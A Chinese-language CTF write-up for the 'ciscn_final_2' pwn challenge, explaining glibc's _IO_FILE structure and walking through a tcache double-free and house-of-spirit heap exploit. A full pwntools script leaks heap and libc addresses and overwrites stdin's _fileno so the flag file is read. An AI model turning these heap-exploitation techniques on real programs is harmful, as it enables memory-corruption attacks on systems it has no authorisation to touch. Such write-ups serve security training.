先来了解一下 linux 的 file 文件结构,fileno 等概念。

_IO_FILE 结构

FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr,分别对应文件描述符:0、1、2。后续再打开文件对应的文件描述符就从 3 开始,当然可以用 dup2 修改。

每个文件流都有自己的 FILE 结构体。结构体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

在 ida 中搜索 _IO_2_1_stdxxx_ 或者 stdxx 可以找到默认打开的三个文件描述符 FILE 结构体存储地址:

image-20201210083553060

gdb 调试中查看结构体内容:

image-20201210083345062

_fileno 是当前文件流的文件描述符,上图是 stderr 对应就是 2 。

我们知道 stdin 文件描述符是 0 ,如果我们将 stdin 的 fileno 修改为 2 ,那么 stdin 就变成了 stderr 。

实战练习

基本情况

原题环境是在 ubuntu18.04 旧版本 glibc ,也就是允许 tcache doublefree ,注意检查 glibc 版本。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

在初始化函数中,打开 flag 的文件流,紧接着用 dup2 将原本文件描述符从 3 修改为 666 。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 init()
{
……
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666); // 改变文件描述符
close(fd);
……
}

堆申请有两种大小:0x20、0x30 ,数量没有限制。结构体如下:

1
2
3
4
5
6
7
8
struct int{
int num;
int num;
}
struct short_int{
short num;
short num;
}

free 堆后没有将指针指令,造成 UAF 漏洞,还有一点就是 doublefree 需要处理 bool 这个全局变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
……
if ( bool )
{
printf("TYPE:\n1: int\n2: short int\n>");
v1 = get_atoi();
if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !"); // UAF
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
……
}

show 函数限制使用 3 次,还需要注意输出长度问题,也就是用于泄露地址时并不是完整的地址:

1
2
3
4
5
6
unsigned __int64 show()
{
……
if ( show_time-- )//show_time=3
……
}

exit 函数有一段输出功能:

1
2
3
4
5
6
void __noreturn bye_bye()
{
……
__isoc99_scanf("%99s", v0);
……
}

思路

利用 exit 时 scanf 输出函数,就 stdin 的文件描述符修改为 666 ,那么输出就变成输出,将 flag 内容给输出出来。

double free tcache 泄露堆地址:

1
2
3
4
5
6
7
8
9
# leak heap address
add(1,0x30)
delete(1)
add(2,0x20)
delete(2)
add(1,0x30)
delete(2)
heap_base = show(2)-0x290
log.info("heap_base:"+hex(heap_base))

修改 chunk0 size :

1
2
3
4
5
# house of spirt
add(2, heap_base+0x250)
add(2, heap_base+0x250)
# overwrite chunk0 size to 0x91
add(2, 0x91)

多次释放 chunk0 最后放入 unsortedbin 泄露 libc 地址:

1
2
3
4
5
6
7
8
9
# leak libc address
# double free chunk0 into unsortedbin
for i in range(0, 7):
delete(1)
add(2, 0x20)
delete(1)

leak_addr = show(1) - 96
libc_base = leak_addr - libc.sym['__malloc_hook'] - 0x10

修改 stdin 的 fileno 为 666 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# write tcache fd 
add(1, stdin_fileno)

# house of sprit
add(1, 0x30)
delete(1)
add(2, 0x20)
delete(1)
heap_base = show(1) - 0x290
log.info("heap_base:"+hex(heap_base))
add(1, heap_base+0x260)
add(1, heap_base+0x260)
add(1, 231)
add(1, 666)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(binary="./ciscn_final_2",log_level='debug')
p = process("./ciscn_final_2", env={"LD_PRELOAD":"libc-2.27.so"})
elf = ELF("./ciscn_final_2")
libc = ELF("libc-2.27.so")

def add(type, num):
p.sendlineafter('> ', '1')
p.sendlineafter('>', str(type))
p.sendafter(':', str(num))

def delete(type):
p.sendlineafter('> ', '2')
p.sendlineafter('>', str(type))

def show(type):
p.sendlineafter('> ', '3')
p.sendlineafter('>', str(type))
if type == 1:
p.recvuntil(':')
elif type == 2:
p.recvuntil(':')
return int(p.recvuntil('\n', drop=True))

# leak heap address
add(1,0x30)
delete(1)
add(2,0x20)
delete(2)
add(1,0x30)
delete(2)
heap_base = show(2)-0x290
log.info("heap_base:"+hex(heap_base))

# house of spirt
add(2, heap_base+0x250)
add(2, heap_base+0x250)
# overwrite chunk0 size to 0x91
add(2, 0x91)

# leak libc address
# double free chunk0 into unsortedbin
for i in range(0, 7):
delete(1)
add(2, 0x20)
delete(1)

leak_addr = show(1) - 96
libc_base = leak_addr - libc.sym['__malloc_hook'] - 0x10
log.info("libc_base:"+hex(libc_base))
stdin_fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
log.info("stdin_fileno:"+hex(stdin_fileno))

# write tcache fd
add(1, stdin_fileno)

# house of sprit
add(1, 0x30)
delete(1)
add(2, 0x20)
delete(1)
heap_base = show(1) - 0x290
log.info("heap_base:"+hex(heap_base))
add(1, heap_base+0x260)
add(1, heap_base+0x260)
add(1, 231)
add(1, 666)

p.sendlineafter('> ', '4')

p.interactive()